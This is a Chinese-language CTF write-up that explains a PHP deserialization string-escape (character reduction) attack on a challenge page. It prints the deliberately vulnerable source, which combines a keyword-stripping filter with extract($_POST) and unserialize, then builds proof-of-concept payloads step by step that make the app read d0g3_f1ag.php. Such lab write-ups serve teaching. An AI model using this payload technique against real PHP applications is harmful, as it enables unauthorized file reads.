考点内容:PHP反序列化字符串逃逸(字符减少)
看此文章之前,建议读者朋友们回顾下我之前写的文章关于反序列化字符串逃逸后字符减少情况的知识
首页index.php
Text. <?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);//相当于preg_replace('/php|flag|php5|php4|php|fl1g/i','',$img) } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST);//变量覆盖 if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){//这里注意f传递的show_image虽然会给$_SESSION['function']赋个值,但POST传递后的值马上会将该值覆盖了。 $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
首先根据提示?f=phpinfo找到一个文件信息
所以第一步根据代码中最后一句,需要令反序列化后的img参数的值为d0g3_f1ag.php的Base64编码值ZDBnM19mMWFnLnBocA==,那么按照我之前文章所写,开始一点点构造。首先本地准备一个d0g3_f1ag.php随便写些内容,当本地可以读取该文件的时候即可了。因为我们要构造$_SESSION[“img”]的值为ZDBnM19mMWFnLnBocA==,所以他就正常构造下。其余两个SESSION的参数怎么写已经标记到POC的注释上了
<?php function filter($img) { $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g'); $filter = '/' . implode('|', $filter_arr) . '/i'; return preg_replace($filter, '', $img); } $_SESSION["user"] = 'flagflag';//先随便写两个,至于最后是多少再补充 $_SESSION["function"] = '123';//先随便写 $_SESSION["img"]='ZDBnM19mMWFnLnBocA=='; var_dump(serialize($_SESSION)); echo "<pre>"; $serialize_info = filter(serialize($_SESSION)); var_dump($serialize_info); var_dump(unserialize($serialize_info)); $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); ?>
结果如上图所示,因为已经了解了PHP的序列化与反序列化的原理了,所以我们知道;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}这部分内容会被反序列化回去。
那么第一步将这部分内容填入到$_SESSION[“function”]处,再次构造POC
<?php function filter($img) { $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g'); $filter = '/' . implode('|', $filter_arr) . '/i'; return preg_replace($filter, '', $img); } $_SESSION["user"] = 'flagflag';//先随便写两个,至于最后是多少再补充 $_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';//参看之前文章,这里一步到位了 $_SESSION["img"]='ZDBnM19mMWFnLnBocA=='; var_dump(serialize($_SESSION)); echo "<pre>"; $serialize_info = filter(serialize($_SESSION)); var_dump($serialize_info); var_dump(unserialize($serialize_info)); $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); ?>
然后获取选中部分长度
因为知道这道题的替换是从3个变为0或者4个变为0所以可以选择令$_SESSION[“user”]为6个4位长度的字符(flag)或者8个3位长度的字符(php)
关键代码
$_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符 $_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'; $_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
但是这样本地构造完后访问却发现并没有访问到指定文件,这是因为题目里的SESSION有三个参数,而我们第二行构造的代码中以}结尾了,所以反序列化后只能出现两个参数,没有满足要求,所以不会成功反序列化,那么只需要再任意补充一段序列化值即可。
将}去掉添加:s:4:”name”;s:7:”purplet”;}
最终构造代码
<?php function filter($img) { $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g'); $filter = '/' . implode('|', $filter_arr) . '/i'; return preg_replace($filter, '', $img); } $_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符 $_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:7:"purplet";}';//先随便写 $_SESSION["img"]='ZDBnM19mMWFnLnBocA=='; var_dump(serialize($_SESSION)); echo "<pre>"; $serialize_info = filter(serialize($_SESSION)); var_dump($serialize_info); var_dump(unserialize($serialize_info)); $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); ?>
至此本地已经成功读取到文件了,然后回到题目,提示注意两点
1.用BP传递参数,因为HackBar无法传递
2.传递SESSION时,对参数不用加引号
然后读flag的方式同理